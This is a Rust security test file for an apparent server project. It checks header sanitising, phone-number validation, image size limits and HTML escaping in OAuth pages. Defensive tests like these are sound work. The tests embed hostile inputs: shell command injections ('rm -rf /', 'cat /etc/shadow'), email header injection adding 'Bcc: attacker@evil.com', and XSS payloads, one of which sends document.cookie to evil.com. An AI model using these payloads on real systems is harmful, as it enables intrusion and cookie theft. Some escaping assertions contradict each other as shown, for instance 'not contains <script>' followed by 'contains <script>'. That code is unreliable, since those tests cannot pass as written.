this repo has no description
1mod common;
2
3use bspds::notifications::{
4 SendError, is_valid_phone_number, sanitize_header_value,
5};
6use bspds::oauth::templates::{login_page, error_page, success_page};
7use bspds::image::{ImageProcessor, ImageError};
8
9#[test]
10fn test_sanitize_header_value_removes_crlf() {
11 let malicious = "Injected\r\nBcc: attacker@evil.com";
12 let sanitized = sanitize_header_value(malicious);
13
14 assert!(!sanitized.contains('\r'), "CR should be removed");
15 assert!(!sanitized.contains('\n'), "LF should be removed");
16 assert!(sanitized.contains("Injected"), "Original content should be preserved");
17 assert!(sanitized.contains("Bcc:"), "Text after newline should be on same line (no header injection)");
18}
19
20#[test]
21fn test_sanitize_header_value_preserves_content() {
22 let normal = "Normal Subject Line";
23 let sanitized = sanitize_header_value(normal);
24
25 assert_eq!(sanitized, "Normal Subject Line");
26}
27
28#[test]
29fn test_sanitize_header_value_trims_whitespace() {
30 let padded = " Subject ";
31 let sanitized = sanitize_header_value(padded);
32
33 assert_eq!(sanitized, "Subject");
34}
35
36#[test]
37fn test_sanitize_header_value_handles_multiple_newlines() {
38 let input = "Line1\r\nLine2\nLine3\rLine4";
39 let sanitized = sanitize_header_value(input);
40
41 assert!(!sanitized.contains('\r'), "CR should be removed");
42 assert!(!sanitized.contains('\n'), "LF should be removed");
43 assert!(sanitized.contains("Line1"), "Content before newlines preserved");
44 assert!(sanitized.contains("Line4"), "Content after newlines preserved");
45}
46
47#[test]
48fn test_email_header_injection_sanitization() {
49 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value";
50 let sanitized = sanitize_header_value(header_injection);
51
52 let lines: Vec<&str> = sanitized.split("\r\n").collect();
53 assert_eq!(lines.len(), 1, "Should be a single line after sanitization");
54 assert!(sanitized.contains("Normal Subject"), "Original content preserved");
55 assert!(sanitized.contains("Bcc:"), "Content after CRLF preserved as same line text");
56 assert!(sanitized.contains("X-Injected:"), "All content on same line");
57}
58
59#[test]
60fn test_valid_phone_number_accepts_correct_format() {
61 assert!(is_valid_phone_number("+1234567890"));
62 assert!(is_valid_phone_number("+12025551234"));
63 assert!(is_valid_phone_number("+442071234567"));
64 assert!(is_valid_phone_number("+4915123456789"));
65 assert!(is_valid_phone_number("+1"));
66}
67
68#[test]
69fn test_valid_phone_number_rejects_missing_plus() {
70 assert!(!is_valid_phone_number("1234567890"));
71 assert!(!is_valid_phone_number("12025551234"));
72}
73
74#[test]
75fn test_valid_phone_number_rejects_empty() {
76 assert!(!is_valid_phone_number(""));
77}
78
79#[test]
80fn test_valid_phone_number_rejects_just_plus() {
81 assert!(!is_valid_phone_number("+"));
82}
83
84#[test]
85fn test_valid_phone_number_rejects_too_long() {
86 assert!(!is_valid_phone_number("+12345678901234567890123"));
87}
88
89#[test]
90fn test_valid_phone_number_rejects_letters() {
91 assert!(!is_valid_phone_number("+abc123"));
92 assert!(!is_valid_phone_number("+1234abc"));
93 assert!(!is_valid_phone_number("+a"));
94}
95
96#[test]
97fn test_valid_phone_number_rejects_spaces() {
98 assert!(!is_valid_phone_number("+1234 5678"));
99 assert!(!is_valid_phone_number("+ 1234567890"));
100 assert!(!is_valid_phone_number("+1 "));
101}
102
103#[test]
104fn test_valid_phone_number_rejects_special_chars() {
105 assert!(!is_valid_phone_number("+123-456-7890"));
106 assert!(!is_valid_phone_number("+1(234)567890"));
107 assert!(!is_valid_phone_number("+1.234.567.890"));
108}
109
110#[test]
111fn test_signal_recipient_command_injection_blocked() {
112 let malicious_inputs = vec![
113 "+123; rm -rf /",
114 "+123 && cat /etc/passwd",
115 "+123`id`",
116 "+123$(whoami)",
117 "+123|cat /etc/shadow",
118 "+123\n--help",
119 "+123\r\n--version",
120 "+123--help",
121 ];
122
123 for input in malicious_inputs {
124 assert!(!is_valid_phone_number(input), "Malicious input '{}' should be rejected", input);
125 }
126}
127
128#[test]
129fn test_image_file_size_limit_enforced() {
130 let processor = ImageProcessor::new();
131
132 let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024];
133
134 let result = processor.process(&oversized_data, "image/jpeg");
135
136 match result {
137 Err(ImageError::FileTooLarge { .. }) => {}
138 Err(other) => {
139 let msg = format!("{:?}", other);
140 if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") {
141 panic!("Expected FileTooLarge error, got: {:?}", other);
142 }
143 }
144 Ok(_) => panic!("Should reject files over size limit"),
145 }
146}
147
148#[test]
149fn test_image_file_size_limit_configurable() {
150 let processor = ImageProcessor::new().with_max_file_size(1024);
151
152 let data: Vec<u8> = vec![0u8; 2048];
153
154 let result = processor.process(&data, "image/jpeg");
155
156 assert!(result.is_err(), "Should reject files over configured limit");
157}
158
159#[test]
160fn test_oauth_template_xss_escaping_client_id() {
161 let malicious_client_id = "<script>alert('xss')</script>";
162 let html = login_page(malicious_client_id, None, None, "test-uri", None, None);
163
164 assert!(!html.contains("<script>"), "Script tags should be escaped");
165 assert!(html.contains("<script>"), "HTML entities should be used for escaping");
166}
167
168#[test]
169fn test_oauth_template_xss_escaping_client_name() {
170 let malicious_client_name = "<img src=x onerror=alert('xss')>";
171 let html = login_page("client123", Some(malicious_client_name), None, "test-uri", None, None);
172
173 assert!(!html.contains("<img "), "IMG tags should be escaped");
174 assert!(html.contains("<img"), "IMG tag should be escaped as HTML entity");
175}
176
177#[test]
178fn test_oauth_template_xss_escaping_scope() {
179 let malicious_scope = "\"><script>alert('xss')</script>";
180 let html = login_page("client123", None, Some(malicious_scope), "test-uri", None, None);
181
182 assert!(!html.contains("<script>"), "Script tags in scope should be escaped");
183}
184
185#[test]
186fn test_oauth_template_xss_escaping_error_message() {
187 let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>";
188 let html = login_page("client123", None, None, "test-uri", Some(malicious_error), None);
189
190 assert!(!html.contains("<script>"), "Script tags in error should be escaped");
191}
192
193#[test]
194fn test_oauth_template_xss_escaping_login_hint() {
195 let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\"";
196 let html = login_page("client123", None, None, "test-uri", None, Some(malicious_hint));
197
198 assert!(!html.contains("onfocus=\"alert"), "Event handlers should be escaped in login hint");
199 assert!(html.contains("""), "Quotes should be escaped");
200}
201
202#[test]
203fn test_oauth_template_xss_escaping_request_uri() {
204 let malicious_uri = "\" onmouseover=\"alert('xss')\"";
205 let html = login_page("client123", None, None, malicious_uri, None, None);
206
207 assert!(!html.contains("onmouseover=\"alert"), "Event handlers should be escaped in request_uri");
208}
209
210#[test]
211fn test_oauth_error_page_xss_escaping() {
212 let malicious_error = "<script>steal()</script>";
213 let malicious_desc = "<img src=x onerror=evil()>";
214
215 let html = error_page(malicious_error, Some(malicious_desc));
216
217 assert!(!html.contains("<script>"), "Script tags should be escaped in error page");
218 assert!(!html.contains("<img "), "IMG tags should be escaped in error page");
219}
220
221#[test]
222fn test_oauth_success_page_xss_escaping() {
223 let malicious_name = "<script>steal_session()</script>";
224
225 let html = success_page(Some(malicious_name));
226
227 assert!(!html.contains("<script>"), "Script tags should be escaped in success page");
228}
229
230#[test]
231fn test_oauth_template_no_javascript_urls() {
232 let html = login_page("client123", None, None, "test-uri", None, None);
233 assert!(!html.contains("javascript:"), "Login page should not contain javascript: URLs");
234
235 let error_html = error_page("test_error", None);
236 assert!(!error_html.contains("javascript:"), "Error page should not contain javascript: URLs");
237
238 let success_html = success_page(None);
239 assert!(!success_html.contains("javascript:"), "Success page should not contain javascript: URLs");
240}
241
242#[test]
243fn test_oauth_template_form_action_safe() {
244 let malicious_uri = "javascript:alert('xss')//";
245 let html = login_page("client123", None, None, malicious_uri, None, None);
246
247 assert!(html.contains("action=\"/oauth/authorize\""), "Form action should be fixed URL");
248}
249
250#[test]
251fn test_send_error_types_have_display() {
252 let timeout = SendError::Timeout;
253 let max_retries = SendError::MaxRetriesExceeded("test".to_string());
254 let invalid_recipient = SendError::InvalidRecipient("bad recipient".to_string());
255
256 assert!(!format!("{}", timeout).is_empty());
257 assert!(!format!("{}", max_retries).is_empty());
258 assert!(!format!("{}", invalid_recipient).is_empty());
259}
260
261#[test]
262fn test_send_error_timeout_message() {
263 let error = SendError::Timeout;
264 let msg = format!("{}", error);
265 assert!(msg.to_lowercase().contains("timeout"), "Timeout error should mention timeout");
266}
267
268#[test]
269fn test_send_error_max_retries_includes_detail() {
270 let error = SendError::MaxRetriesExceeded("Server returned 503".to_string());
271 let msg = format!("{}", error);
272 assert!(msg.contains("503") || msg.contains("retries"), "MaxRetriesExceeded should include context");
273}
274
275#[tokio::test]
276async fn test_check_signup_queue_accepts_session_jwt() {
277 use common::{base_url, client, create_account_and_login};
278
279 let base = base_url().await;
280 let http_client = client();
281
282 let (token, _did) = create_account_and_login(&http_client).await;
283
284 let res = http_client
285 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
286 .header("Authorization", format!("Bearer {}", token))
287 .send()
288 .await
289 .unwrap();
290
291 assert_eq!(res.status(), reqwest::StatusCode::OK, "Session JWTs should be accepted");
292
293 let body: serde_json::Value = res.json().await.unwrap();
294 assert_eq!(body["activated"], true);
295}
296
297#[tokio::test]
298async fn test_check_signup_queue_no_auth() {
299 use common::{base_url, client};
300
301 let base = base_url().await;
302 let http_client = client();
303
304 let res = http_client
305 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
306 .send()
307 .await
308 .unwrap();
309
310 assert_eq!(res.status(), reqwest::StatusCode::OK, "No auth should work");
311
312 let body: serde_json::Value = res.json().await.unwrap();
313 assert_eq!(body["activated"], true);
314}
315
316#[test]
317fn test_html_escape_ampersand() {
318 let html = login_page("client&test", None, None, "test-uri", None, None);
319 assert!(html.contains("&"), "Ampersand should be escaped");
320 assert!(!html.contains("client&test"), "Raw ampersand should not appear in output");
321}
322
323#[test]
324fn test_html_escape_quotes() {
325 let html = login_page("client\"test'more", None, None, "test-uri", None, None);
326 assert!(html.contains(""") || html.contains("""), "Double quotes should be escaped");
327 assert!(html.contains("'") || html.contains("'"), "Single quotes should be escaped");
328}
329
330#[test]
331fn test_html_escape_angle_brackets() {
332 let html = login_page("client<test>more", None, None, "test-uri", None, None);
333 assert!(html.contains("<"), "Less than should be escaped");
334 assert!(html.contains(">"), "Greater than should be escaped");
335 assert!(!html.contains("<test>"), "Raw angle brackets should not appear");
336}
337
338#[test]
339fn test_oauth_template_preserves_safe_content() {
340 let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), "valid-uri", None, Some("user@example.com"));
341
342 assert!(html.contains("my-safe-client") || html.contains("My Safe App"), "Safe content should be preserved");
343 assert!(html.contains("read write") || html.contains("read"), "Scope should be preserved");
344 assert!(html.contains("user@example.com"), "Login hint should be preserved");
345}
346
347#[test]
348fn test_csrf_like_input_value_protection() {
349 let malicious = "\" onclick=\"alert('csrf')";
350 let html = login_page("client", None, None, malicious, None, None);
351
352 assert!(!html.contains("onclick=\"alert"), "Event handlers should not be executable");
353}
354
355#[test]
356fn test_unicode_handling_in_templates() {
357 let unicode_client = "客户端 クライアント";
358 let html = login_page(unicode_client, None, None, "test-uri", None, None);
359
360 assert!(html.contains("客户端") || html.contains("&#"), "Unicode should be preserved or encoded");
361}
362
363#[test]
364fn test_null_byte_in_input() {
365 let with_null = "client\0id";
366 let sanitized = sanitize_header_value(with_null);
367
368 assert!(sanitized.contains("client"), "Content before null should be preserved");
369}
370
371#[test]
372fn test_very_long_input_handling() {
373 let long_input = "x".repeat(10000);
374 let sanitized = sanitize_header_value(&long_input);
375
376 assert!(!sanitized.is_empty(), "Long input should still produce output");
377}